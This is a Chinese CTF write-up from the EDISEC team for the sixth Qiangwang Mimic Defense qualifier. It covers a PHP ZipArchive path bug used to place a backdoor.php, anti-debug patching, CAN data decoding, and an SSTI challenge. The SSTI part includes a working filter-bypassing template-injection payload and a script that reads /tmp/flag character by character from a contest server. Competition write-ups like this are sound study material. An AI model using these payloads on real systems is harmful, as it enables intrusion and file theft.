第六届强网拟态防御国际精英挑战赛初赛–WriteUp By EDISEC

WriteUp 8个月前 admin
109 0 0

EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn方向的师傅)有意向的师傅请联系邮箱[email protected][email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

01

Web

1

noumisotuitennoka

php压缩bug导致的漏洞,php官方bug案例地址:

https://bugs.php.net/bug.php?id=72374

在add_path 和 remove_path都存在时,删除会+1,且remove会删除匹配到的多个项

测试代码:

<?php$file = '/tmp/tmp';touch($file);
$zip = new ZipArchive();$zip->open('test.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);$options = array('add_path' => 'var/www/html/', 'remove_path' => '/tmp/.');$zip->addGlob($file."/**", 0, $options);$zip->addGlob($file."/.htaccess", 0, $options);
for($i = 0; $i < $zip->numFiles; $i++) { $sb = $zip->statIndex($i); echo $sb['name'];}
$zip->close();

subdir=/tmp&dev=/tmp/.

生成的zip中.htaccess被处理路径,backdoor.php正常打包,这样两个文件就不在同一文件夹下。

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

访问/tmp/tmp/backdoor.php即可

02

Re

1

fisher

第一处反调试,改成jz

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

第二处反调试,改成jnz

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

第一部分使用了CryptCreateHash(phProv, 0x8004u, 0i64, 0, &phHash)类型的加密,类似之前的祥云杯,0x8004代表加密的类型,搜索ALG_ID即可。

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

修改反调试

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

改成jmp

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

这里继续有反调试

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

把exit patch

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

最后找到哈希密文

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

2E95A5C5F9643DF668D3965A6CDF19541BC0496
flag{6c324d2c86a72b864a22f30e46d20220}

05

Mimic

1

Tbox Can

直接盲猜data字段是数据

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

写脚本把所有data转为字符:
import pandas as pd
df = pd.read_csv('can_data.csv')data_field = df[df['type'] == 'data_field']password_chars = []for hex_value in data_field['data']: password_chars.append(chr(int(hex_value, 16)))password = ''.join(password_chars)print(password)

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

但是里面有一些其他数据,通过猜测单词,得到flag:

flag{L0GIC_ANA1YSIS_CAN_FOR_FUN}

2

用户登记系统

SSTI考点,name参数存在ssti

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

对一些关键字做了过滤,可以通过字符串拼接绕过。但是还做了内容检测,需要通过切片一个个读内容。

name={{().__class__.__base__.__subclasses__()[148].__init__.__globals__.__builtins__["open"]("/tm""p/fl""ag").read()[0]}}

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

脚本如下:

import requestsimport resess = requests.session()
url = 'http://116.63.134.105/index.php'post = '{{().__class__.__base__.__subclasses__()[148].__init__.__globals__.__builtins__["open"]("/tm""p/fl""ag").read()[FUZZ]}}'

for i in range(518, 10000): try: resp = sess.post(url, data={'name': post.replace('FUZZ', str(i))}) res = re.findall(r'您好, (.*)已登记!!', resp.text) print(res[0], end='') except IndexError: print() continue

flag在文件后面,有几个字符出不来,直接猜是fun},最终flag:

flag{u_win_have_fun}

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

3

用户鉴权

按照提示访问路由,所谓3gpp 29503协议就是post json数据,然后获得一串密文,提示base64/4,就是base16,转大写后解密即可

EDI安全

第六届强网拟态防御国际精英挑战赛初赛--WriteUp By EDISEC

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):第六届强网拟态防御国际精英挑战赛初赛–WriteUp By EDISEC

版权声明:admin 发表于 2023年11月15日 上午11:31。
转载请注明:第六届强网拟态防御国际精英挑战赛初赛–WriteUp By EDISEC | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...